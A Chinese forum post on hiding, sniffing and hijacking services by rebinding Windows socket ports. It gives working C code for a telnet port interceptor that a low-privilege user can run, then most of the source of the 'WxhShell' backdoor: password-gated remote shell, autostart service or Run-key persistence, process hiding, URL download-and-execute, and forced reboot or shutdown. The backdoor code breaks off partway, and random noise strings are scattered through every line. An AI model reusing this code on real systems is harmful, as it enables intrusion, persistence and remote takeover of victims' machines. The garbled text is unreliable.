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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:  4l+"J:,  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); oLEqy  
4 2aYM!  
  saddr.sin_family = AF_INET; 9L;fT5Tp7  
C-/<5D j  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); 1BK-uv:  
^ZX71-  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); H: Rd4dl,  
[mKPOg-t  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 K'.aQ&2  
P.WEu<$  
  这意味着什么?意味着可以进行如下的攻击: @K; 4'b~  
&*\wr} a!  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 e&zZr]vs]l  
sf4NKe2*  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) o 5dPE{f  
y@"6Dt|  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 62~8>71;'  
F$P8"q+  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  _|`~CLE[  
eO#Kn'5  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 %EA|2O.D  
Dbt"}#uit;  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 ca/AScL  
LIYj__4=|  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 1e.V%!Xk  
fQcJyX  
  #include Q@gmtAp  
  #include T9.3  
  #include $eUI.j(HU  
  #include    $_NYu  
  DWORD WINAPI ClientThread(LPVOID lpParam);   K[JbQ30  
  int main() 5 s3!{zT{  
  { Q$!dPwDg  
  WORD wVersionRequested; 2mj?&p?  
  DWORD ret; F)_zR  
  WSADATA wsaData; U_ELeW5@  
  BOOL val; 555j@  
  SOCKADDR_IN saddr; NO5\|.,Z  
  SOCKADDR_IN scaddr; KECo7i=e  
  int err; &5:83#*Oj  
  SOCKET s; qScc~i Oq  
  SOCKET sc; 9<BC6M_/  
  int caddsize; X}*\/(fzl  
  HANDLE mt; c \cPmj@  
  DWORD tid;   o NX-vN-  
  wVersionRequested = MAKEWORD( 2, 2 ); 2fIHFo\8  
  err = WSAStartup( wVersionRequested, &wsaData ); /<7'[x<  
  if ( err != 0 ) { ?7>G\0G  
  printf("error!WSAStartup failed!\n"); KITC,@xE_O  
  return -1; )Y.H*ca  
  } [w&B>z=g$  
  saddr.sin_family = AF_INET; .} al s  
   *Ii_dpJ  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 wWjZXsOd  
#[$^M:X.  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 5Fa.X|R~  
  saddr.sin_port = htons(23); Fq\vFt|m<  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) S"+X+Oxp7?  
  { jroR 2*  
  printf("error!socket failed!\n"); 0;9X`z J  
  return -1; C s XV0  
  } 4e OS+&  
  val = TRUE; -JgN$Sf  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 GH ] c  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) [t #xX59  
  { 8NCu;s  
  printf("error!setsockopt failed!\n"); !R@v\Eu  
  return -1; (55k70>i3  
  } G)~/$EF,_  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; a`/\0~  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 Egy#_ RT{  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 .d mUh-  
)b AOA  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) xZbiEDU  
  { @`"U D  
  ret=GetLastError(); YU >NGC]}d  
  printf("error!bind failed!\n"); ->"Z1  
  return -1; `^_c&y K  
  } %DOV)Qc2  
  listen(s,2); 3vdhoS|  
  while(1) u*n%cXY;J/  
  { ;5S'?fj  
  caddsize = sizeof(scaddr); $W}YXLFj?  
  //接受连接请求 BF)!VnJ  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 1nGpW$Gx  
  if(sc!=INVALID_SOCKET) 2h=QJgpCG  
  { n:dnBwY  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); f%#q}vK-  
  if(mt==NULL) 'P'f`;'_DC  
  { lqaOLZH  
  printf("Thread Creat Failed!\n"); ,u.G6"<  
  break; 6l Suzu  
  } Rda~Drz  
  } y}5:CZ  
  CloseHandle(mt); ULT,>S6r  
  } /O`<?aP%  
  closesocket(s); Mg pjC`  
  WSACleanup(); GN0s`'#"3%  
  return 0; 3.0t5F<B  
  }   pUV4oyGV   
  DWORD WINAPI ClientThread(LPVOID lpParam) fX:=_c   
  { Pi/V3D) B  
  SOCKET ss = (SOCKET)lpParam; >~+qU&'2  
  SOCKET sc; $X\deJ1Hi  
  unsigned char buf[4096]; *WzvPl$e  
  SOCKADDR_IN saddr; cmcR @zv  
  long num; I 0vJJP#  
  DWORD val; n,Gvgf  
  DWORD ret; C3k[ipCN  
  //如果是隐藏端口应用的话,可以在此处加一些判断 Q}zd!*  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   U7_1R0h  
  saddr.sin_family = AF_INET; gPJZpaS  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); .#Vup{.  
  saddr.sin_port = htons(23); Al}D~6MD  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) S:= _o  
  { !_i;6UVG  
  printf("error!socket failed!\n"); QZZt9rA;  
  return -1; V'iT>  
  }  Y%zYO  
  val = 100; [\BLb8  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) B!j7vXM2  
  { #ULjK*)R  
  ret = GetLastError(); $R&K-;D/8  
  return -1; EX"o9'  
  } k`(Cwp{Oc  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) V'M#."Of/  
  { *!5X!\e_  
  ret = GetLastError(); *4 HogC  
  return -1; n.l7V<1  
  } pu OAt  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) a[ Y\5Ojm  
  { ` zoC++hx  
  printf("error!socket connect failed!\n"); Z%4w{T+[  
  closesocket(sc); BJ*8mKi h  
  closesocket(ss); G2 {R5F !  
  return -1; >{1 i8 b@  
  } n=iL6Yu(  
  while(1) =zsA@UM0  
  { ,^n5UA`PK  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 &x.n>O  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 1}/37\  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 nBg  tK  
  num = recv(ss,buf,4096,0); JIOeDuw+  
  if(num>0) E{8-VmY  
  send(sc,buf,num,0); Sv>bU4LHf  
  else if(num==0) B;Dl2k^L  
  break; ~q,Wj!>Ob  
  num = recv(sc,buf,4096,0); '_fj:dy  
  if(num>0) han S8  
  send(ss,buf,num,0); NK!#K>AO  
  else if(num==0) n4A#T#D!t3  
  break; ?#0m[k&`  
  } w f""=;  
  closesocket(ss); J#) %{k_  
  closesocket(sc); X%R)  
  return 0 ; ^3O`8o  
  } i5; _  
)YY8`\F>1  
_t-e.2a v  
========================================================== N2.(0 G  
qA>C<NL  
下边附上一个代码,,WXhSHELL ?' /#Gt`  
[kKg?I$D@B  
========================================================== H[[#h=r0f  
o?`^ UG-   
#include "stdafx.h" L7"B`oa(p  
#>_5PdO  
#include <stdio.h> ?Zh,W(7W  
#include <string.h> XY)I~6$Y  
#include <windows.h> 79d< ,q;uR  
#include <winsock2.h> Sau?Y  
#include <winsvc.h> WT'?L{  
#include <urlmon.h> j`l'Mg  
<tI_u ~P  
#pragma comment (lib, "Ws2_32.lib") ;y]BXW&l&  
#pragma comment (lib, "urlmon.lib") =2OLyZDI  
,8&ND864v  
#define MAX_USER   100 // 最大客户端连接数 #!7b3>}  
#define BUF_SOCK   200 // sock buffer Aq,&p,m03  
#define KEY_BUFF   255 // 输入 buffer fqm-?vy}  
*5z"Xy3J  
#define REBOOT     0   // 重启 q c DJ  
#define SHUTDOWN   1   // 关机 fl+dL#]  
(X/dP ~  
#define DEF_PORT   5000 // 监听端口 2*pNIc  
*}RV)0mif  
#define REG_LEN     16   // 注册表键长度 N?l  
#define SVC_LEN     80   // NT服务名长度 b~Un=-@5a  
YDjjhe+  
// 从dll定义API XF i!=|F  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ,tl(\4n  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); M-zqD8D  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); P.W@5:sD  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); V2o1~R~  
3FsX3K,_X  
// wxhshell配置信息 F-GrQd:O=  
struct WSCFG { "VgPaz#  
  int ws_port;         // 监听端口 1qE*M7_:E>  
  char ws_passstr[REG_LEN]; // 口令 >p>B-m  
  int ws_autoins;       // 安装标记, 1=yes 0=no ~ yu\vqN  
  char ws_regname[REG_LEN]; // 注册表键名 V7)<MY  
  char ws_svcname[REG_LEN]; // 服务名 Ocf:73t  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 V*%Lc9<d  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 <G /a-Z  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 cIQ e^C  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Rc#c^F<  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ?XnKKw\  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 #<81`%  
`2a7y]?  
}; f"aqg/l  
Jl@YBzDfF  
// default Wxhshell configuration V]6CHE:BS  
struct WSCFG wscfg={DEF_PORT, HImQ.y!B  
    "xuhuanlingzhe", q 1~3T;Il  
    1, k*|WI$  
    "Wxhshell", fYiof]v@_m  
    "Wxhshell", :89AYqT"  
            "WxhShell Service", AkA2/7<[  
    "Wrsky Windows CmdShell Service", KOit7+Q  
    "Please Input Your Password: ", b>'y[P!  
  1, ~mk>9Gp  
  "http://www.wrsky.com/wxhshell.exe", ,Wlw#1fP  
  "Wxhshell.exe" 1+9}Xnxb  
    }; d_)VeuE2  
=@s{H +  
// 消息定义模块  ;GZ/V;S  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";  Fm`c  
char *msg_ws_prompt="\n\r? for help\n\r#>"; fa 2hQJ02  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ;6tGRh$b  
char *msg_ws_ext="\n\rExit."; _.+2sm   
char *msg_ws_end="\n\rQuit."; T3In0LQ  
char *msg_ws_boot="\n\rReboot..."; H&=fD` Xq  
char *msg_ws_poff="\n\rShutdown..."; VL8yL`~zc.  
char *msg_ws_down="\n\rSave to "; 3) _(t.$D  
@  Br?  
char *msg_ws_err="\n\rErr!"; c+.?+g  
char *msg_ws_ok="\n\rOK!"; Dz<vIMLF{  
Q)93 +1]  
char ExeFile[MAX_PATH]; [z r2\(  
int nUser = 0; N(Xg#m   
HANDLE handles[MAX_USER]; kA{eT  
int OsIsNt; E=RX^ 3+}  
KCi0v  
SERVICE_STATUS       serviceStatus; f!13Ob<8r  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; EzGO/uZ]  
*4O9W8Qz  
// 函数声明 yBnUz"  
int Install(void); 4N_iHe5U  
int Uninstall(void); x2Dg92  
int DownloadFile(char *sURL, SOCKET wsh); B; r` 1 G  
int Boot(int flag); ?7\$zn)v#  
void HideProc(void); *5q_fO  
int GetOsVer(void); w~Jy,[@n  
int Wxhshell(SOCKET wsl); k@9CDwh*s  
void TalkWithClient(void *cs); sg8j}^VI  
int CmdShell(SOCKET sock); %^}|HG*i??  
int StartFromService(void); sO 0j!;N  
int StartWxhshell(LPSTR lpCmdLine); '=cAdja  
!xz{X?  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); /(?,S{]  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); u$nYddak  
^ SW!S_&Z2  
// 数据结构和表定义 +a74] H"  
SERVICE_TABLE_ENTRY DispatchTable[] = hDD]Kc;G^1  
{ 3$h yV{  
{wscfg.ws_svcname, NTServiceMain}, 3R`eddenF  
{NULL, NULL} y/OPN<=*  
}; B;^YHWJ6i  
d/l>~%bR  
// 自我安装 /YD2F  
int Install(void) ebIRXUF}>  
{ C$7dmGjZ  
  char svExeFile[MAX_PATH]; (x/xqDpmBS  
  HKEY key; ]C5/-J,F  
  strcpy(svExeFile,ExeFile); 2M*84oh8P  
LNI]IITx/  
// 如果是win9x系统,修改注册表设为自启动 lJdwbuB6  
if(!OsIsNt) { ^u$?& #  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 1wt(pkNk  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); >f-*D25f%  
  RegCloseKey(key); qTrb)95  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 1Gh3o}z  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); f/tJ>^N5  
  RegCloseKey(key); 1 2J#}|  
  return 0; "cx#6Bo|  
    } M:cW/&ZJ  
  } m 4V0e~]  
} Or"+d 5  
else { Usf7 AS=  
w/Y6m.i1  
// 如果是NT以上系统,安装为系统服务 E2yL9]K2  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); =6< Am  
if (schSCManager!=0) _>(qQ-Px  
{ |5#iPw_wMY  
  SC_HANDLE schService = CreateService C252E  
  ( Ct0YwIR*  
  schSCManager, qL/XGIxL?  
  wscfg.ws_svcname, :WAFBK/x  
  wscfg.ws_svcdisp, O%p+P<J  
  SERVICE_ALL_ACCESS, } .'\IR  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ?/FCq6o  
  SERVICE_AUTO_START, g<jgR*TE`  
  SERVICE_ERROR_NORMAL, /rZ`e'}  
  svExeFile, Uq:CM6q\  
  NULL, b";D*\=x  
  NULL, SZL('x,"^  
  NULL, ~v^I*/uY  
  NULL, y4`uU1=  
  NULL w6@8cNXK  
  ); n}toUqUnk\  
  if (schService!=0) ,,CheRO  
  { ~WX40z  
  CloseServiceHandle(schService); ^^{7`X u  
  CloseServiceHandle(schSCManager); v8NoD_  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); CK#SD|~:  
  strcat(svExeFile,wscfg.ws_svcname); l t{yo\  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { W B7gY\Y&M  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); M\)(_I)V=  
  RegCloseKey(key); ;ep@ )Y  
  return 0; wH0Ks5  
    } 2qe]1B;  
  } N9X`81)t  
  CloseServiceHandle(schSCManager); |!\5nix3A>  
} m1,yf*U  
} T;Zv^:]0  
  ]n (:X  
return 1; $}z%}v  
} RAi]9`*7  
w5R?9"d@  
// 自我卸载 /4bHN:I]M  
int Uninstall(void) z<z\)  
{ c^%&-],  
  HKEY key; J>%uak<  
)R5=GHmL  
if(!OsIsNt) { _~a5;[~  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { '1[Bbs  
  RegDeleteValue(key,wscfg.ws_regname); Q|i`s=|  
  RegCloseKey(key); O&ZVu>`g  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Yo a|.2f  
  RegDeleteValue(key,wscfg.ws_regname); K f}h{X  
  RegCloseKey(key); >gGdzL  
  return 0; L6IF0`M<,I  
  } T<S_C$O  
} X+;{&Efrl  
} Nx^r&pr  
else { E;)7#3gY1  
wh)Ujgd  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); z2Kvp"-}  
if (schSCManager!=0) 0VwmV_6'<W  
{ ;1Zz-@  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 7@l.ZECJ1  
  if (schService!=0) !a<}Mpeg  
  { 0w<G)p~%n  
  if(DeleteService(schService)!=0) { Ld$e  -dB  
  CloseServiceHandle(schService); ?^3Q5ye  
  CloseServiceHandle(schSCManager); $ITh)#Nj  
  return 0; HqKI|^  
  } *7:HO{P>Y  
  CloseServiceHandle(schService); j/*4Wj[  
  } Q=T/hb  
  CloseServiceHandle(schSCManager); wTK>U`o  
} { ((|IvP`  
} aFtL_# U  
mCQn '{)  
return 1; <[w>Mbqj_  
} n1 kh8,  
9&7$oI$!J  
// 从指定url下载文件 hB 36o9|9  
int DownloadFile(char *sURL, SOCKET wsh) OF/DI)j3  
{ mjXO}q7  
  HRESULT hr; [lbe_G;  
char seps[]= "/"; g@][h_? {  
char *token; M<VZISu)dy  
char *file; (J,^)!g7  
char myURL[MAX_PATH]; %X>P+6<=  
char myFILE[MAX_PATH];  1@p'><\  
M@?,nzs K  
strcpy(myURL,sURL); ?K/N{GK%{  
  token=strtok(myURL,seps); g_2EH  
  while(token!=NULL) H<wrusRg  
  { %.`<ud  
    file=token; sUTh}.[5  
  token=strtok(NULL,seps); _7qGo7bpN  
  } DP<[Uz&  
ts=KAdcJ  
GetCurrentDirectory(MAX_PATH,myFILE); A57e]2_  
strcat(myFILE, "\\"); DC6xet{  
strcat(myFILE, file); >p,FAz>  
  send(wsh,myFILE,strlen(myFILE),0); ^,WXvOy  
send(wsh,"...",3,0); _|qs-USA  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); WEVV2BJ  
  if(hr==S_OK) /C"?Y'  
return 0; %jRqrICd  
else ,a1 1&"xl  
return 1; u&\QZW?  
,8/Con|o  
} zy!mP  
;0 No@G;z  
// 系统电源模块 zb=L[2;  
int Boot(int flag) qp)a`'Pq  
{ cJ#|mzup  
  HANDLE hToken; hm+,o_+  
  TOKEN_PRIVILEGES tkp; B9Y*'hmI  
iZbY@-3fc  
  if(OsIsNt) { F3 z:|sTqc  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); "- XJZ;5  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); NwB;9ZhZ  
    tkp.PrivilegeCount = 1; ,oS<9kC68  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 2\, h "W(  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); lhRo+X#G  
if(flag==REBOOT) { w=MiJr#3^  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ;&8  
  return 0; TU(w>v  
} g9K7_T #W  
else {  01;  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) iD-,C`  
  return 0; u iEAi  
} oGa8#>  
  } w +~,Mv\  
  else { x8q3 Njr  
if(flag==REBOOT) { |r%lJmBB  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) xHo iu$i6  
  return 0; LtIw{* 3  
} e+ckn   
else { pg:1AAhT[  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ="=Aac#n`  
  return 0; vx&r  
} @& vtY._  
} 2^.qKY@g@  
B^C!UWN>%X  
return 1; {:m%n-  
} e6JT|>9A7  
n 0*a.  
// win9x进程隐藏模块 f+o%N  
void HideProc(void) c 6"hk_  
{ Fs|aH-9\  
lmjoSINy  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); @ 4%a  
  if ( hKernel != NULL ) 3+` <2TP  
  { 7g a|4j3%  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 5^W},:3R  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Sgy_?Y  
    FreeLibrary(hKernel); Jfs$VGZP;  
  } Pm* N!:u  
q;{# ~<"+  
return; Kf!8PR$  
} ~=xS\@UY =  
5\6S5JyIL  
// 获取操作系统版本 eGi[LJ)np  
int GetOsVer(void) k@i+gV%  
{ u_~*)w+mS@  
  OSVERSIONINFO winfo; ]IZn#gnM  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Spt]<~  
  GetVersionEx(&winfo); =5QP'Qt{O  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 6JYVC>i  
  return 1; w?LDaSz\t  
  else Np?%pB!Q  
  return 0; 6)B6c. 5o  
} [LHx9(,NM  
A^9RGz4=  
// 客户端句柄模块 %1Pn;bUU!  
int Wxhshell(SOCKET wsl) !L)~*!+Gf  
{ ?k7z 5ow  
  SOCKET wsh; ?9)-?tZ^Q  
  struct sockaddr_in client; wh~g{(Xvq  
  DWORD myID; .7"]/9oB  
|z`kFil%  
  while(nUser<MAX_USER) Eoo[)V#x{  
{ ~VqDh*0  
  int nSize=sizeof(client); jZX2)#a!  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); hCcAAF*I;5  
  if(wsh==INVALID_SOCKET) return 1; _3lci  
j~)GZV  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); uR:@7n  
if(handles[nUser]==0) @},25"x)  
  closesocket(wsh); p[zKc2TPk  
else vA r fsgk  
  nUser++; =d{B.BP(  
  } 9 Z 5!3  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); !Xzne_V<  
JQt Bt2  
  return 0; tf5h/:  
} {M.OOEcIp  
#J,?oe=<4  
// 关闭 socket N5SePA\ ,?  
void CloseIt(SOCKET wsh) *C*'J7  
{ jM'kY|<g;  
closesocket(wsh); c9c_7g'q-  
nUser--; R zOs,  
ExitThread(0); S-$N!G~!  
} :E>" z6H  
HL^+:`,  
// 客户端请求句柄 tlnU2TT_f  
void TalkWithClient(void *cs) ?C[W~m P  
{ g{_wMf  
aBN^J_  
  SOCKET wsh=(SOCKET)cs; ~rN:4Q]/  
  char pwd[SVC_LEN]; &`RD5uml  
  char cmd[KEY_BUFF]; Y$%z]i5   
char chr[1]; XmK2Xi;=b  
int i,j; bAsoIra  
4zRz U  
  while (nUser < MAX_USER) { i`Tp +e@a>  
w'/ Mn+  
if(wscfg.ws_passstr) { ][jW2;A  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); l=*60Ag\J~  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); srh>" 2."  
  //ZeroMemory(pwd,KEY_BUFF); nI_43rG:Uf  
      i=0; sr=~U q{g  
  while(i<SVC_LEN) { gNsas:iGM  
/mM#nS  
  // 设置超时 o<Esh;;*nm  
  fd_set FdRead; d=q&% gqN  
  struct timeval TimeOut; M_+"RKp  
  FD_ZERO(&FdRead); 94>EA/+Ek  
  FD_SET(wsh,&FdRead); i1OF @~?  
  TimeOut.tv_sec=8; E=-ed9({:  
  TimeOut.tv_usec=0; cQ?eL,z  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); tTMYqg zUk  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); O)$rC  
N}j]S{j}'  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 6dCS Gb  
  pwd=chr[0]; /3VSO"kcZ  
  if(chr[0]==0xd || chr[0]==0xa) { mO6rj=L^  
  pwd=0; gyz#:z$p^  
  break; Q (3Na6  
  } %a_ rYrL  
  i++; w=ib@_:f  
    } 8,0WHivg  
Ly7|:IbC  
  // 如果是非法用户,关闭 socket Hz*5ZIw  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); .9cQq/{b  
} x?aNK$A~X  
n7J6YtUwP  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); eVXlQO  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); g?e$B}%  
&$1ifG   
while(1) { &^v5 x"  
pn:) Rq0  
  ZeroMemory(cmd,KEY_BUFF); X{ZcJ8K  
Z8X=Md8=  
      // 自动支持客户端 telnet标准   YT*_ vmJV  
  j=0; [eb?Fd~WB]  
  while(j<KEY_BUFF) { p-6Y5$Y  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); SWX[|sjdB  
  cmd[j]=chr[0]; l8XgzaW  
  if(chr[0]==0xa || chr[0]==0xd) { p>g5WebBN  
  cmd[j]=0; 4P406,T]r  
  break; 6ka, FjJ\  
  } 4dEfXrMf  
  j++; u\jQe@j '  
    } iOFp9i=j  
AqdQiZ^9  
  // 下载文件 K-a~Kr  
  if(strstr(cmd,"http://")) { <Z nVWER  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); L[|($vQ"  
  if(DownloadFile(cmd,wsh)) /#lqv)s'  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); hyHeyDO2  
  else z!M8lpI M  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0);  4 Wb^$i!  
  } hLv~N}  
  else { lBpy0lo#  
'^npZa'%sW  
    switch(cmd[0]) { U9*uXD1\  
  .~nk' m  
  // 帮助 _5t~g_(1OK  
  case '?': { ag_RKlM3  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); sbju3nvk  
    break; W<QMUu  
  } q)m0n237P  
  // 安装 DR%16y<h  
  case 'i': { W RBCNra  
    if(Install()) ZM6`:/lc  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); K+s@.D9J  
    else SU,#:s(  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ^n@dC?  
    break; 3Uy48ue  
    } 8p;|&7  
  // 卸载 iF_#cmSy$  
  case 'r': { 3tt3:`g  
    if(Uninstall()) f"{|c@%  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); YQH=]5r  
    else )$> pu{o  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); KE~l#=S  
    break; $+P6R`K  
    } 4kNiS^h  
  // 显示 wxhshell 所在路径 I: L}7uA[t  
  case 'p': { uZg[PS=@!X  
    char svExeFile[MAX_PATH]; MMQ^&!H  
    strcpy(svExeFile,"\n\r"); BidTrO  
      strcat(svExeFile,ExeFile); y^*o%2/  
        send(wsh,svExeFile,strlen(svExeFile),0); t1Zcr#b>  
    break; tbH` VD"u  
    } kL7n`o  
  // 重启 X0}+X'3  
  case 'b': { =hP7 Hea(N  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); {\-9^RL  
    if(Boot(REBOOT)) &2P+9j>  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); M zRliH8e  
    else { xk#q_!(j  
    closesocket(wsh); w|k?2 ?&  
    ExitThread(0); ~fht [S?@M  
    } S{0iPdUC  
    break; PX} ~  
    } jQ"z\}Wf  
  // 关机 _ddOsg|U  
